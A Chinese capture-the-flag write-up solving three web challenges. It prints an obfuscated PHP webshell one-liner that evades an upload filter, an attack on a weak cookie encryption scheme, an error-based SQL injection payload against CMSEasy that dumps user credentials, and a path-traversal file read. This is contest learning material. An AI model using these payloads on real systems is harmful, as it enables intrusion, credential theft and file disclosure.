百度杯 CTF夺旗大赛 ---ichunqiu

<–more–>
第一周

Upload


什么文件都能上传 但是过滤了 <?和php

上传 内容为

1
<script language=pHp>$a = chr("97").ssert;$a($_POST[a]);</script>

密码为a 菜刀连一下 查看源代码能看到上传地质为 /u/1.php


就能找到flag了

Code

这是一个原题 还好玩了NUCA的练习赛
原题链接


构造view-source:http://909016d9650e4ced96fbbfc0b0f61f69d1996142d4d34845.game.ichunqiu.com/index.php?jpg=index.php并解码。得到index.php的源码内容,如下所示

可以看到一个正则 将 - 改为config 这个正则等下会用到

然后根据原题的writeup 这个题目应该也是有一个.idea/workspace.xml的文件泄露
我们访问一下


我们会看到一个名字叫fl3g_ichunqiu.php的文件 根据wp 我们知道这是一个加密算法文件 读取一下 根据 上面的正则 我们知道 应该访问的是index.php?jpg=fl3gconfigichuqiu.php 再解码得到加密函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php 
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
$hash = '';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}

function encrypt($txt,$key){
for($i=0;$i<strlen($txt);$i++){
$tmp .= chr(ord($txt[$i])+10);
}
$txt = $tmp;
$rnd=random(4);
$key=md5($rnd.$key);
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$ttmp .= $txt[$i] ^ $key[++$s];
}
return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){
$txt=base64_decode($txt);
$rnd = substr($txt,0,4);
$txt = substr($txt,4);
$key=md5($rnd.$key);

$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$tmp .= $txt[$i]^$key[++$s];
}
for($i=0;$i<strlen($tmp);$i++){
$tmp1 .= chr(ord($tmp[$i])-10);
}
return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
echo $flag;
}else{
setcookie('user',encrypt('guest',$key));
echo "╮(╯▽╰)╭";
}
?>

最后用wp的poc 得到了16个加密密文 用burp跑一下就能得到flag了

1
flag{92b5f008-4cfb-4f16-abdb-3475e2d0f543}

YeserCMS

MD 什么YeserCMS 明明是cmseasy


管理员账户是amdin
我先找一下后台好了 访问robots.txt
发现两个重要的地方


一个是后台地址 一个好像也是告诉我flag 在flag.php 里面 但是直接访问读不出来

百度一下cmseasy的漏洞 找到一个payload

1
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxxNaN</q></xjxquery>xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from yesercms_user),20,50),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

两次url编码后post注入 注入点是/celive/live/header.php


拼接一下得到flag的md5值

解密出来是 Yser231
访问 /index.php?admin_dir=admin&site=default
进入到后台

然后就各种找getshell 没有一个成功
后来发现 有一个地方 模版>当前模版编辑


点击编辑并抓包


改id为../../flag.php
get flag
flag{0873701b-aa86-4d7c-b785-3f2c57650157}